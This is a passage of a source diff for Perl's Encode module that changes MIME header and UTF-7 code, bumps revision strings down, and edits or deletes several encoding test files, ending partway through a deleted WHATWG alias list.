Encode::RETURN_ON_ERR; + Carp::croak qq(MIME "$mime_enc" unsupported) if not ref $chk and $chk & Encode::DIE_ON_ERR; + Carp::carp qq(MIME "$mime_enc" unsupported) if not ref $chk and $chk & Encode::WARN_ON_ERR; + $stop = 1 if not ref $chk and $chk & Encode::RETURN_ON_ERR; $output .= ($output =~ /(?:\A|[ \t])$/ ? '' : ' ') . $orig unless $stop; # $orig mime word is separated by whitespace $stop ? $orig : ''; } @@ -198,8 +193,8 @@ sub _decode_q { sub _decode_octets { my ($enc, $octets, $chk) = @_; - $chk = 0 unless defined $chk; $chk &= ~Encode::LEAVE_SRC if not ref $chk and $chk; + local $Carp::CarpLevel = $Carp::CarpLevel + 1; # propagate Carp messages back to caller my $output = $enc->decode($octets, $chk); return undef if not ref $chk and $chk and $octets ne ''; return $output; @@ -207,7 +202,6 @@ sub _decode_octets { sub encode($$;$) { my ($obj, $str, $chk) = @_; - return undef unless defined $str; my $output = $obj->_fold_line($obj->_encode_string($str, $chk)); $_[1] = $str if not ref $chk and $chk and !($chk & Encode::LEAVE_SRC); return $output . substr($str, 0, 0); # to propagate taintedness @@ -239,13 +233,15 @@ sub _encode_string { my ($obj, $str, $chk) = @_; my $wordlen = $obj->{bpl} > 76 ? 76 : $obj->{bpl}; my $enc = Encode::find_mime_encoding($obj->{charset}); - my $enc_chk = $chk; - $enc_chk = 0 unless defined $enc_chk; - $enc_chk |= Encode::LEAVE_SRC if not ref $enc_chk and $enc_chk; + my $enc_chk = (not ref $chk and $chk) ? ($chk | Encode::LEAVE_SRC) : $chk; my @result = (); my $octets = ''; while ( length( my $chr = substr($str, 0, 1, '') ) ) { - my $seq = $enc->encode($chr, $enc_chk); + my $seq; + { + local $Carp::CarpLevel = $Carp::CarpLevel + 1; # propagate Carp messages back to caller + $seq = $enc->encode($chr, $enc_chk); + } if ( not length($seq) ) { substr($str, 0, 0, $chr); last; diff --git a/cpan/Encode/lib/Encode/MIME/Header/ISO_2022_JP.pm b/cpan/Encode/lib/Encode/MIME/Header/ISO_2022_JP.pm index dc1e4275f07d..86e66c371c96 100644 --- a/cpan/Encode/lib/Encode/MIME/Header/ISO_2022_JP.pm +++ b/cpan/Encode/lib/Encode/MIME/Header/ISO_2022_JP.pm @@ -5,17 +5,16 @@ use warnings; use parent qw(Encode::MIME::Header); -my $obj = +$Encode::Encoding{'MIME-Header-ISO_2022_JP'} = bless { decode_b => '1', decode_q => '1', encode => 'B', bpl => 76, Name => 'MIME-Header-ISO_2022_JP' } => __PACKAGE__; -Encode::define_encoding($obj, 'MIME-Header-ISO_2022_JP'); use constant HEAD => '=?ISO-2022-JP?B?'; use constant TAIL => '?='; use Encode::CJKConstants qw(%RE); -our $VERSION = do { my @r = ( q$Revision: 1.9 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; +our $VERSION = do { my @r = ( q$Revision: 1.7 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; # I owe the below codes totally to # Jcode by Dan Kogai & http://www.din.or.jp/~ohzaki/perl.htm#JP_Base64 @@ -23,7 +22,6 @@ our $VERSION = do { my @r = ( q$Revision: 1.9 $ =~ /\d+/g ); sprintf "%d." . "%0 sub encode { my $self = shift; my $str = shift; - return undef unless defined $str; utf8::encode($str) if ( Encode::is_utf8($str) ); Encode::from_to( $str, 'utf8', 'euc-jp' ); diff --git a/cpan/Encode/lib/Encode/MIME/Name.pm b/cpan/Encode/lib/Encode/MIME/Name.pm index 72ec79adda72..1a8d788aecc9 100644 --- a/cpan/Encode/lib/Encode/MIME/Name.pm +++ b/cpan/Encode/lib/Encode/MIME/Name.pm @@ -1,7 +1,7 @@ package Encode::MIME::Name; use strict; use warnings; -our $VERSION = do { my @r = ( q$Revision: 1.3 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; +our $VERSION = do { my @r = ( q$Revision: 1.2 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; # NOTE: This table must be 1:1 mapping our %MIME_NAME_OF = ( @@ -38,7 +38,6 @@ our %MIME_NAME_OF = ( 'cp866' => 'IBM866', 'cp869' => 'IBM869', 'cp936' => 'GBK', - 'euc-cn' => 'EUC-CN', 'euc-jp' => 'EUC-JP', 'euc-kr' => 'EUC-KR', #'gb2312-raw' => 'GB2312', # no, you're wrong, I18N::Charset diff --git a/cpan/Encode/lib/Encode/Unicode/UTF7.pm b/cpan/Encode/lib/Encode/Unicode/UTF7.pm index e68647755f41..d5d86e2f903f 100644 --- a/cpan/Encode/lib/Encode/Unicode/UTF7.pm +++ b/cpan/Encode/lib/Encode/Unicode/UTF7.pm @@ -1,14 +1,15 @@ # -# $Id: UTF7.pm,v 2.10 2017/06/10 17:23:50 dankogai Exp $ +# $Id: UTF7.pm,v 2.8 2013/09/14 07:51:59 dankogai Exp $ # package Encode::Unicode::UTF7; use strict; use warnings; +no warnings 'redefine'; use parent qw(Encode::Encoding); __PACKAGE__->Define('UTF-7'); -our $VERSION = do { my @r = ( q$Revision: 2.10 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; +our $VERSION = do { my @r = ( q$Revision: 2.8 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; use MIME::Base64; -use Encode qw(find_encoding); +use Encode; # # Algorithms taken from Unicode::String by Gisle Aas @@ -29,7 +30,6 @@ sub needs_lines { 1 } sub encode($$;$) { my ( $obj, $str, $chk ) = @_; - return undef unless defined $str; my $len = length($str); pos($str) = 0; my $bytes = substr($str, 0, 0); # to propagate taintedness @@ -61,7 +61,6 @@ sub encode($$;$) { sub decode($$;$) { use re 'taint'; my ( $obj, $bytes, $chk ) = @_; - return undef unless defined $bytes; my $len = length($bytes); my $str = substr($bytes, 0, 0); # to propagate taintedness; pos($bytes) = 0; diff --git a/cpan/Encode/t/CJKT.t b/cpan/Encode/t/CJKT.t index 264daf072f01..1648b1e5fda7 100644 --- a/cpan/Encode/t/CJKT.t +++ b/cpan/Encode/t/CJKT.t @@ -57,7 +57,8 @@ for my $charset (sort keys %Charset){ $txt = join('',<$src>); close($src); - eval { $uni = $transcoder->decode($txt, 1) } or print $@; + eval{ $uni = $transcoder->decode($txt, 1) }; + $@ and print $@; ok(defined($uni), "decode $charset"); $seq++; is(length($txt),0, "decode $charset completely"); $seq++; @@ -88,7 +89,8 @@ for my $charset (sort keys %Charset){ close $src; my $unisave = $uni; - eval { $txt = $transcoder->encode($uni,1) } or print $@; + eval{ $txt = $transcoder->encode($uni,1) }; + $@ and print $@; ok(defined($txt), "encode $charset"); $seq++; is(length($uni), 0, "encode $charset completely"); $seq++; $uni = $unisave; diff --git a/cpan/Encode/t/decode.t b/cpan/Encode/t/decode.t index 93c992cf548c..3995412895c6 100644 --- a/cpan/Encode/t/decode.t +++ b/cpan/Encode/t/decode.t @@ -1,13 +1,11 @@ # -# $Id: decode.t,v 1.4 2017/10/06 22:21:53 dankogai Exp $ +# $Id: decode.t,v 1.3 2016/10/28 05:03:52 dankogai Exp $ # use strict; use Encode qw(decode_utf8 FB_CROAK find_encoding decode); use Test::More tests => 17; -use Test::Builder; sub croak_ok(&) { - local $Test::Builder::Level = $Test::Builder::Level + 1; my $code = shift; eval { $code->() }; like $@, qr/does not map/; diff --git a/cpan/Encode/t/enc_data.t b/cpan/Encode/t/enc_data.t index e610b0d10e05..2ead16ea9579 100644 --- a/cpan/Encode/t/enc_data.t +++ b/cpan/Encode/t/enc_data.t @@ -1,4 +1,4 @@ -# $Id: enc_data.t,v 2.5 2016/11/29 23:29:23 dankogai Exp $ +# $Id: enc_data.t,v 2.5 2016/11/29 23:29:23 dankogai Exp dankogai $ BEGIN { require Config; import Config; diff --git a/cpan/Encode/t/enc_eucjp.t b/cpan/Encode/t/enc_eucjp.t index fc0af3cf3361..9b3245979236 100644 --- a/cpan/Encode/t/enc_eucjp.t +++ b/cpan/Encode/t/enc_eucjp.t @@ -1,4 +1,4 @@ -# $Id: enc_eucjp.t,v 2.5 2017/06/10 17:23:50 dankogai Exp $ +# $Id: enc_eucjp.t,v 2.3 2016/08/10 18:08:45 dankogai Exp $ # This is the twin of enc_utf8.t . BEGIN { @@ -19,8 +19,8 @@ BEGIN { print "1..0 # Skip: Perl 5.8.1 or later required\n"; exit 0; } - if ($] >= 5.025003 and !$Config{usecperl}){ - print "1..0 # Skip: Perl <=5.25.2 or cperl required\n"; + if ($] >= 5.025003){ + print "1..0 # Skip: Perl 5.25.2 or lower required\n"; exit 0; } } @@ -30,7 +30,7 @@ use encoding 'euc-jp'; my @c = (127, 128, 255, 256); -print "1.." . (scalar @c + 2) . "\n"; +print "1.." . (scalar @c + 1) . "\n"; my @f; @@ -65,19 +65,7 @@ binmode(F, ":raw"); # Output raw bytes. print F chr(128); # Output illegal UTF-8. close F; open(F, $f) or die "$0: failed to open '$f' for reading: $!"; -binmode(F, ":encoding(UTF-8)"); -{ - local $^W = 1; - local $SIG{__WARN__} = sub { $a = shift }; - eval { }; # This should get caught. -} -close F; -print $a =~ qr{^UTF-8 "\\x80" does not map to Unicode} ? - "ok $t - illegal UTF-8 input\n" : "not ok $t - illegal UTF-8 input: a = " . unpack("H*", $a) . "\n"; -$t++; - -open(F, $f) or die "$0: failed to open '$f' for reading: $!"; -binmode(F, ":encoding(utf8)"); +binmode(F, ":encoding(utf-8)"); { local $^W = 1; local $SIG{__WARN__} = sub { $a = shift }; @@ -86,7 +74,6 @@ binmode(F, ":encoding(utf8)"); close F; print $a =~ qr{^utf8 "\\x80" does not map to Unicode} ? "ok $t - illegal utf8 input\n" : "not ok $t - illegal utf8 input: a = " . unpack("H*", $a) . "\n"; -$t++; # On VMS temporary file names like "f0." may be more readable than "f0" since # "f0" could be a logical name pointing elsewhere. diff --git a/cpan/Encode/t/enc_module.t b/cpan/Encode/t/enc_module.t index fd6e6dcde699..7d7382b90301 100644 --- a/cpan/Encode/t/enc_module.t +++ b/cpan/Encode/t/enc_module.t @@ -1,4 +1,4 @@ -# $Id: enc_module.t,v 2.5 2016/11/29 23:29:23 dankogai Exp $ +# $Id: enc_module.t,v 2.5 2016/11/29 23:29:23 dankogai Exp dankogai $ # This file is in euc-jp BEGIN { require Config; import Config; diff --git a/cpan/Encode/t/enc_utf8.t b/cpan/Encode/t/enc_utf8.t index be7d487804c1..b07c57396085 100644 --- a/cpan/Encode/t/enc_utf8.t +++ b/cpan/Encode/t/enc_utf8.t @@ -1,4 +1,4 @@ -# $Id: enc_utf8.t,v 2.5 2017/06/10 17:23:50 dankogai Exp $ +# $Id: enc_utf8.t,v 2.3 2016/08/10 18:08:45 dankogai Exp $ # This is the twin of enc_eucjp.t . BEGIN { @@ -15,8 +15,8 @@ BEGIN { print "1..0 # encoding pragma does not support EBCDIC platforms\n"; exit(0); } - if ($] >= 5.025003 and !$Config{usecperl}){ - print "1..0 # Skip: Perl <=5.25.2 or cperl required\n"; + if ($] >= 5.025003){ + print "1..0 # Skip: Perl 5.25.2 or lower required\n"; exit 0; } } @@ -26,7 +26,7 @@ use encoding 'utf8'; my @c = (127, 128, 255, 256); -print "1.." . (scalar @c + 2) . "\n"; +print "1.." . (scalar @c + 1) . "\n"; my @f; @@ -59,19 +59,7 @@ binmode(F, ":raw"); # Output raw bytes. print F chr(128); # Output illegal UTF-8. close F; open(F, $f) or die "$0: failed to open '$f' for reading: $!"; -binmode(F, ":encoding(UTF-8)"); -{ - local $^W = 1; - local $SIG{__WARN__} = sub { $a = shift }; - eval { }; # This should get caught. -} -close F; -print $a =~ qr{^UTF-8 "\\x80" does not map to Unicode} ? - "ok $t - illegal UTF-8 input\n" : "not ok $t - illegal UTF-8 input: a = " . unpack("H*", $a) . "\n"; -$t++; - -open(F, $f) or die "$0: failed to open '$f' for reading: $!"; -binmode(F, ":encoding(utf8)"); +binmode(F, ":encoding(utf-8)"); { local $^W = 1; local $SIG{__WARN__} = sub { $a = shift }; @@ -80,7 +68,6 @@ binmode(F, ":encoding(utf8)"); close F; print $a =~ qr{^utf8 "\\x80" does not map to Unicode} ? "ok $t - illegal utf8 input\n" : "not ok $t - illegal utf8 input: a = " . unpack("H*", $a) . "\n"; -$t++; # On VMS temporary file names like "f0." may be more readable than "f0" since # "f0" could be a logical name pointing elsewhere. diff --git a/cpan/Encode/t/fallback.t b/cpan/Encode/t/fallback.t index 011c86dbfcfe..86605ef3b87d 100644 --- a/cpan/Encode/t/fallback.t +++ b/cpan/Encode/t/fallback.t @@ -17,7 +17,7 @@ BEGIN { use strict; #use Test::More qw(no_plan); -use Test::More tests => 58; +use Test::More tests => 50; use Encode q(:all); my $uo = ''; @@ -35,7 +35,7 @@ for my $i (0x80..0xff){ $uo .= chr($i); $residue .= chr($i); $af .= '?'; - $uf .= "\x{FFFD}"; + $uf .= "\x{FFFD}" if $i < 0xfd; $ap .= sprintf("\\x{%04x}", $i); $up .= sprintf("\\x%02X", $i); $ah .= sprintf("&#%d;", $i); @@ -50,7 +50,6 @@ my $ao = $uo; utf8::upgrade($uo); my $ascii = find_encoding('ascii'); -my $latin1 = find_encoding('latin1'); my $utf8 = find_encoding('utf8'); my $src = $uo; @@ -167,46 +166,19 @@ is($src, $ao, "coderef residue decode"); $src = "\x{3000}"; $dst = $ascii->encode($src, sub{ $_[0] }); -is $dst, 0x3000."", q{$ascii->encode($src, sub{ $_[0] } )}; +is $dst, 0x3000."", qq{$ascii->encode(\$src, sub{ \$_[0] } )}; $dst = encode("ascii", "\x{3000}", sub{ $_[0] }); -is $dst, 0x3000."", q{encode("ascii", "\x{3000}", sub{ $_[0] })}; +is $dst, 0x3000."", qq{encode("ascii", "\\x{3000}", sub{ \$_[0] })}; $src = pack "C*", 0xFF; $dst = $ascii->decode($src, sub{ $_[0] }); -is $dst, 0xFF."", q{$ascii->encode($src, sub{ $_[0] } )}; +is $dst, 0xFF."", qq{$ascii->encode(\$src, sub{ \$_[0] } )}; $dst = decode("ascii", (pack "C*", 0xFF), sub{ $_[0] }); -is $dst, 0xFF."", q{decode("ascii", (pack "C*", 0xFF), sub{ $_[0] })}; +is $dst, 0xFF."", qq{decode("ascii", (pack "C*", 0xFF), sub{ \$_[0] })}; $src = pack "C*", 0x80; $dst = $utf8->decode($src, sub{ $_[0] }); -is $dst, 0x80."", q{$utf8->encode($src, sub{ $_[0] } )}; +is $dst, 0x80."", qq{$utf8->encode(\$src, sub{ \$_[0] } )}; $dst = decode("utf8", $src, sub{ $_[0] }); -is $dst, 0x80."", q{decode("utf8", (pack "C*", 0x80), sub{ $_[0] })}; - -$src = "\x{3000}"; -$dst = $latin1->encode($src, sub { "\N{U+FF}" }); -is $dst, "\x{ff}", q{$latin1->encode($src, sub { "\N{U+FF}" })}; -$dst = encode("latin1", $src, sub { "\N{U+FF}" }); -is $dst, "\x{ff}", q{encode("latin1", $src, sub { "\N{U+FF}" })}; - -$src = "\x{3000}"; -$dst = $latin1->encode($src, sub { utf8::upgrade(my $r = "\x{ff}"); $r }); -is $dst, "\x{ff}", q{$latin1->encode($src, sub { utf8::upgrade(my $r = "\x{ff}"); $r })}; -$dst = encode("latin1", $src, sub { utf8::upgrade(my $r = "\x{ff}"); $r }); -is $dst, "\x{ff}", q{encode("latin1", $src, sub { utf8::upgrade(my $r = "\x{ff}"); $r })}; - -$src = "\x{ff}"; -$dst = $utf8->decode($src, sub { chr($_[0]) }); -is $dst, "\x{ff}", q{$utf8->decode($src, sub { chr($_[0]) })}; -$dst = decode("utf8", $src, sub { chr($_[0]) }); -is $dst, "\x{ff}", q{decode("utf8", $src, sub { chr($_[0]) })}; - -{ - use charnames ':full'; - $src = "\x{ff}"; - $dst = $utf8->decode($src, sub { utf8::downgrade(my $r = "\N{LATIN SMALL LETTER Y WITH DIAERESIS}"); $r }); - is $dst, "\N{LATIN SMALL LETTER Y WITH DIAERESIS}", q{$utf8->decode($src, sub { utf8::downgrade(my $r = "\N{LATIN SMALL LETTER Y WITH DIAERESIS}"); $r })}; - $dst = decode("utf8", $src, sub { utf8::downgrade(my $r = "\N{LATIN SMALL LETTER Y WITH DIAERESIS}"); $r }); - is $dst, "\N{LATIN SMALL LETTER Y WITH DIAERESIS}", q{decode("utf8", $src, sub { utf8::downgrade(my $r = "\N{LATIN SMALL LETTER Y WITH DIAERESIS}"); $r })}; -} +is $dst, 0x80."", qq{decode("utf8", (pack "C*", 0x80), sub{ \$_[0] })}; diff --git a/cpan/Encode/t/guess.t b/cpan/Encode/t/guess.t index 896028ba8ddd..81ab91b56242 100644 --- a/cpan/Encode/t/guess.t +++ b/cpan/Encode/t/guess.t @@ -18,7 +18,11 @@ use Encode qw(decode encode find_encoding _utf8_off); #use Test::More qw(no_plan); use Test::More tests => 32; -BEGIN { use_ok("Encode::Guess") } +use_ok("Encode::Guess"); +{ + no warnings; + $Encode::Guess::DEBUG = shift || 0; +} my $ascii = join('' => map {chr($_)}(0x21..0x7e)); my $latin1 = join('' => map {chr($_)}(0xa1..0xfe)); diff --git a/cpan/Encode/t/jperl.t b/cpan/Encode/t/jperl.t index 5995a592babf..a0e7a379f6c4 100644 --- a/cpan/Encode/t/jperl.t +++ b/cpan/Encode/t/jperl.t @@ -1,5 +1,5 @@ # -# $Id: jperl.t,v 2.5 2016/11/29 23:29:23 dankogai Exp $ +# $Id: jperl.t,v 2.5 2016/11/29 23:29:23 dankogai Exp dankogai $ # # This script is written in euc-jp diff --git a/cpan/Encode/t/mime-header.t b/cpan/Encode/t/mime-header.t index bf48753d93f5..a997dffb41b5 100644 --- a/cpan/Encode/t/mime-header.t +++ b/cpan/Encode/t/mime-header.t @@ -1,5 +1,5 @@ # -# $Id: mime-header.t,v 2.15 2017/07/18 07:15:29 dankogai Exp $ +# $Id: mime-header.t,v 2.14 2016/11/29 23:29:23 dankogai Exp dankogai $ # This script is written in utf8 # BEGIN { @@ -24,7 +24,7 @@ use strict; use utf8; use charnames ":full"; -use Test::More tests => 266; +use Test::More tests => 264; BEGIN { use_ok("Encode::MIME::Header"); @@ -136,8 +136,6 @@ my @decode_default_tests = ( "=?utf8?Q?=C3=A1=f9=80=80=80=80?=" => "á�", "=?UTF8?Q?=C3=A1=f9=80=80=80=80?=" => "á�", "=?utf-8-strict?Q?=C3=A1=f9=80=80=80=80?=" => "á�", - # allow non-ASCII characters in q word - "=?UTF-8?Q?\x{C3}\x{A1}?=" => "á", ); my @decode_strict_tests = ( @@ -157,8 +155,6 @@ my @decode_strict_tests = ( "=?utf8?Q?=C3=A1?=" => "=?utf8?Q?=C3=A1?=", "=?UTF8?Q?=C3=A1?=" => "=?UTF8?Q?=C3=A1?=", "=?utf-8-strict?Q?=C3=A1?=" => "=?utf-8-strict?Q?=C3=A1?=", - # do not allow non-ASCII characters in q word - "=?UTF-8?Q?\x{C3}\x{A1}?=" => "=?UTF-8?Q?\x{C3}\x{A1}?=", ); my @encode_tests = ( diff --git a/cpan/Encode/t/mime-name.t b/cpan/Encode/t/mime-name.t index cec86c0362a1..ced4e7c03101 100644 --- a/cpan/Encode/t/mime-name.t +++ b/cpan/Encode/t/mime-name.t @@ -1,5 +1,5 @@ # -# $Id: mime-name.t,v 1.3 2017/10/06 22:21:53 dankogai Exp $ +# $Id: mime-name.t,v 1.2 2016/10/28 05:03:52 dankogai Exp $ # This script is written in utf8 # BEGIN { @@ -23,7 +23,7 @@ use strict; use warnings; use Encode; #use Test::More qw(no_plan); -use Test::More tests => 281; +use Test::More tests => 277; BEGIN { use_ok("Encode::MIME::Name"); diff --git a/cpan/Encode/t/truncated_utf8.t b/cpan/Encode/t/truncated_utf8.t deleted file mode 100644 index b37926766411..000000000000 --- a/cpan/Encode/t/truncated_utf8.t +++ /dev/null @@ -1,55 +0,0 @@ -BEGIN { - if ($ENV{'PERL_CORE'}) { - chdir 't'; - unshift @INC, '../lib'; - } - require Config; import Config; - if ($Config{'extensions'} !~ /\bEncode\b/) { - print "1..0 # Skip: Encode was not built\n"; - exit 0; - } - if (ord("A") == 193) { - print "1..0 # Skip: EBCDIC\n"; - exit 0; - } - $| = 1; -} - -use strict; -use warnings; - -use Encode; -use PerlIO::encoding; -$PerlIO::encoding::fallback &= ~(Encode::WARN_ON_ERR|Encode::PERLQQ); - -use Test::More tests => 9; - -binmode Test::More->builder->failure_output, ":utf8"; -binmode Test::More->builder->todo_output, ":utf8"; - -is(decode("UTF-8", "\xfd\xfe"), "\x{fffd}" x 2); -is(decode("UTF-8", "\xfd\xfe\xff"), "\x{fffd}" x 3); -is(decode("UTF-8", "\xfd\xfe\xff\xe0"), "\x{fffd}" x 4); -is(decode("UTF-8", "\xfd\xfe\xff\xe0\xe1"), "\x{fffd}" x 5); -is(decode("UTF-8", "\xc1\x9f"), "\x{fffd}"); -is(decode("UTF-8", "\xFF\x80\x90\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80"), "\x{fffd}"); -is(decode("UTF-8", "\xF0\x80\x80\x80"), "\x{fffd}"); - -SKIP: { - # infinite loop due to bug: https://rt.perl.org/Public/Bug/Display.html?id=41442 - skip "Perl Version ($]) is older than v5.8.9", 2 if $] < 5.008009; - my $str = ("x" x 1023) . "\xfd\xfe\xffx"; - open my $fh, '<:encoding(UTF-8)', \$str; - my $str2 = <$fh>; - close $fh; - is($str2, ("x" x 1023) . ("\x{fffd}" x 3) . "x"); - - TODO: { - local $TODO = "bug in perlio" if $] < 5.027009; - my $str = ("x" x 1023) . "\xfd\xfe\xff"; - open my $fh, '<:encoding(UTF-8)', \$str; - my $str2 = <$fh>; - close $fh; - is($str2, ("x" x 1023) . ("\x{fffd}" x 3)); - } -} diff --git a/cpan/Encode/t/undef.t b/cpan/Encode/t/undef.t deleted file mode 100644 index de52019b1873..000000000000 --- a/cpan/Encode/t/undef.t +++ /dev/null @@ -1,25 +0,0 @@ -use strict; -use warnings FATAL => 'all'; - -use Test::More; - -use Encode qw(encode decode find_encoding); -use Encode::Encoder qw(encoder); - -local %Encode::ExtModule = %Encode::Config::ExtModule; - -my @names = Encode->encodings(':all'); - -plan tests => 1 + 4 * @names; - -my $emptyutf8; -eval { my $c = encoder($emptyutf8)->utf8; }; -ok(!$@,"crashed encoding undef variable ($@)"); - -for my $name (@names) { - my $enc = find_encoding($name); - is($enc->encode(undef), undef, "find_encoding('$name')->encode(undef) returns undef"); - is($enc->decode(undef), undef, "find_encoding('$name')->decode(undef) returns undef"); - is(encode($name, undef), undef, "encode('$name', undef) returns undef"); - is(decode($name, undef), undef, "decode('$name', undef) returns undef"); -} diff --git a/cpan/Encode/t/use-Encode-Alias.t b/cpan/Encode/t/use-Encode-Alias.t deleted file mode 100644 index dab8142cfae2..000000000000 --- a/cpan/Encode/t/use-Encode-Alias.t +++ /dev/null @@ -1,8 +0,0 @@ -use strict; -use warnings; - -use Encode::Alias; -use open ":std", ":locale"; - -print "1..1\n"; -print "ok 1 - use Encode::Alias works\n"; diff --git a/cpan/Encode/t/utf8messages.t b/cpan/Encode/t/utf8messages.t deleted file mode 100644 index 8b6b379acba0..000000000000 --- a/cpan/Encode/t/utf8messages.t +++ /dev/null @@ -1,33 +0,0 @@ -use strict; -use warnings; -BEGIN { 'warnings'->unimport('utf8') if $] < 5.014 }; # turn off 'UTF-16 surrogate 0xd800' warnings - -use Test::More; -use Encode qw(encode decode FB_CROAK LEAVE_SRC); - -plan tests => 12; - -my @invalid; - -ok ! defined eval { encode('UTF-8', "\x{D800}", FB_CROAK | LEAVE_SRC) }, 'Surrogate codepoint \x{D800} is not encoded to strict UTF-8'; -like $@, qr/^"\\x\{d800\}" does not map to UTF-8 /, 'Error message contains strict UTF-8 name'; -@invalid = (); -encode('UTF-8', "\x{D800}", sub { @invalid = @_; return ""; }); -is_deeply \@invalid, [ 0xD800 ], 'Fallback coderef contains invalid codepoint 0xD800'; - -ok ! defined eval { decode('UTF-8', "\xed\xa0\x80", FB_CROAK | LEAVE_SRC) }, 'Surrogate UTF-8 byte sequence \xED\xA0\x80 is decoded with strict UTF-8 decoder'; -like $@, qr/^UTF-8 "\\xED\\xA0\\x80" does not map to Unicode /, 'Error message contains strict UTF-8 name and original (not decoded) invalid sequence'; -@invalid = (); -decode('UTF-8', "\xed\xa0\x80", sub { @invalid = @_; return ""; }); -is_deeply \@invalid, [ 0xED, 0xA0, 0x80 ], 'Fallback coderef contains invalid byte sequence 0xED, 0xA0, 0x80'; - -ok ! defined eval { decode('UTF-8', "\xed\xa0", FB_CROAK | LEAVE_SRC) }, 'Invalid byte sequence \xED\xA0 is not decoded with strict UTF-8 decoder'; -like $@, qr/^UTF-8 "\\xED\\xA0" does not map to Unicode /, 'Error message contains strict UTF-8 name and original (not decoded) invalid sequence'; -@invalid = (); -decode('UTF-8', "\xed\xa0", sub { @invalid = @_; return ""; }); -is_deeply \@invalid, [ 0xED, 0xA0 ], 'Fallback coderef contains invalid byte sequence 0xED, 0xA0'; - -ok ! defined eval { decode('utf8', "\xed\xa0", FB_CROAK | LEAVE_SRC) }, 'Invalid byte sequence \xED\xA0 is not decoded with non-strict utf8 decoder'; -like $@, qr/^utf8 "\\xED\\xA0" does not map to Unicode /, 'Error message contains non-strict utf8 name and original (not decoded) invalid sequence'; -decode('utf8', "\xed\xa0", sub { @invalid = @_; return ""; }); -is_deeply \@invalid, [ 0xED, 0xA0 ], 'Fallback coderef contains invalid byte sequence 0xED, 0xA0'; diff --git a/cpan/Encode/t/whatwg-aliases.json b/cpan/Encode/t/whatwg-aliases.json deleted file mode 100644 index 4307b0cc486a..000000000000 --- a/cpan/Encode/t/whatwg-aliases.json +++ /dev/null @@ -1,455 +0,0 @@ -[ - { - "encodings": [ - { - "labels": [ - "unicode-1-1-utf-8", - "utf-8", - "utf8" - ], - "name": "UTF-8" - } - ], - "heading": "The Encoding" - }, - { - "encodings": [ - { - "labels": [ - "866", - "cp866", - "csibm866", - "ibm866" - ], - "name": "IBM866" - }, - { - "labels": [ - "csisolatin2", - "iso-8859-2", - "iso-ir-101", - "iso8859-2", - "iso88592", - "iso_8859-2", - "iso_8859-2:1987", - "l2", - "latin2" - ], - "name": "ISO-8859-2" - }, - { - "labels": [ - "csisolatin3", - "iso-8859-3", - "iso-ir-109", - "iso8859-3", - "iso88593", - "iso_8859-3", - "iso_8859-3:1988", - "l3", - "latin3" - ], - "name": "ISO-8859-3" - }, - { - "labels": [ - "csisolatin4", - "iso-8859-4", - "iso-ir-110", - "iso8859-4", - "iso88594", - "iso_8859-4", - "iso_8859-4:1988", - "l4", - "latin4" - ], - "name": "ISO-8859-4" - }, - { - "labels": [ - "csisolatincyrillic", - "cyrillic", - "iso-8859-5", - "iso-ir-144", - "iso8859-5", - "iso88595", - "iso_8859-5", - "iso_8859-5:1988" - ], - "name": "ISO-8859-5" - }, - { - "labels": [ - "arabic", - "asmo-708", - "csiso88596e", - "csiso88596i", - "csisolatinarabic", - "ecma-114", - "iso-8859-6", - "iso-8859-6-e", - "iso-8859-6-i", - "iso-ir-127", - "iso8859-6", - "iso88596", - "iso_8859-6", - "iso_8859-6:1987" - ], - "name": "ISO-8859-6" - }, - { - "labels": [ - "csisolatingreek", - "ecma-118", - "elot_928", - "greek", - "greek8", - "iso-8859-7", - "iso-ir-126", - "iso8859-7", - "iso88597", - "iso_8859-7", - "iso_8859-7:1987", - "sun_eu_greek" - ], - "name": "ISO-8859-7" - }, - { - "labels": [ - "csiso88598e", - "csisolatinhebrew", - "hebrew", - "iso-8859-8", - "iso-8859-8-e", - "iso-ir-138", - "iso8859-8", - "iso88598", - "iso_8859-8", - "iso_8859-8:1988", - "visual" - ], - "name": "ISO-8859-8" - }, - { - "labels": [ - "csiso88598i", - "iso-8859-8-i", - "logical" - ], - "name": "ISO-8859-8-I" - }, - { - "labels": [ - "csisolatin6", - "iso-8859-10", - "iso-ir-157", - "iso8859-10", - "iso885910", - "l6", - "latin6" - ], - "name": "ISO-8859-10" - }, - { - "labels": [ - "iso-8859-13", - "iso8859-13", - "iso885913" - ], - "name": "ISO-8859-13" - }, - { - "labels": [ - "iso-8859-14", - "iso8859-14", - "iso885914" - ], - "name": "ISO-8859-14" - }, - { - "labels": [ - "csisolatin9", - "iso-8859-15", - "iso8859-15", - "iso885915", - "iso_8859-15", - "l9" - ], - "name": "ISO-8859-15" - }, - { - "labels": [ - "iso-8859-16" - ], - "name": "ISO-8859-16" - }, - { - "labels": [ - "cskoi8r", - "koi", - "koi8", - "koi8-r", - "koi8_r" - ], - "name": "KOI8-R" - }, - { - "labels": [ - "koi8-ru", - "koi8-u" - ], - "name": "KOI8-U" - }, - { - "labels": [ - "csmacintosh", - "mac", - "macintosh", - "x-mac-roman" - ], - "name": "macintosh" - }, - { - "labels": [ - "dos-874", - "iso-8859-11", - "iso8859-11", - "iso885911", - "tis-620", - "windows-874" - ], - "name": "windows-874" - }, - { - "labels": [ - "cp1250", - "windows-1250", - "x-cp1250" - ], - "name": "windows-1250" - }, - { - "labels": [ - "cp1251", - "windows-1251", - "x-cp1251" - ], - "name": "windows-1251" - }, - { - "labels": [ - "ansi_x3.4-1968", - "ascii", - "cp1252", - "cp819", - "csisolatin1", - "ibm819", - "iso-8859-1", - "iso-ir-100", - "iso8859-1", - "iso88591", - "iso_8859-1", - "iso_8859-1:1987", - "l1", - "latin1", - "us-ascii", - "windows-1252", - "x-cp1252" - ], - "name": "windows-1252" - }, - { - "labels": [ - "cp1253", - "windows-1253", - "x-cp1253" - ], - "name": "windows-1253" - }, - { - "labels": [ - "cp1254", - "csisolatin5", - "iso-8859-9", - "iso-ir-148", - "iso8859-9", - "iso88599", - "iso_8859-9", - "iso_8859-9:1989", - "l5", - "latin5", - "windows-1254", - "x-cp1254" - ], - "name": "windows-1254" - }, - { - "labels": [ - "cp1255", - "windows-1255", - "x-cp1255" - ], - "name": "windows-1255" - }, - { - "labels": [ - 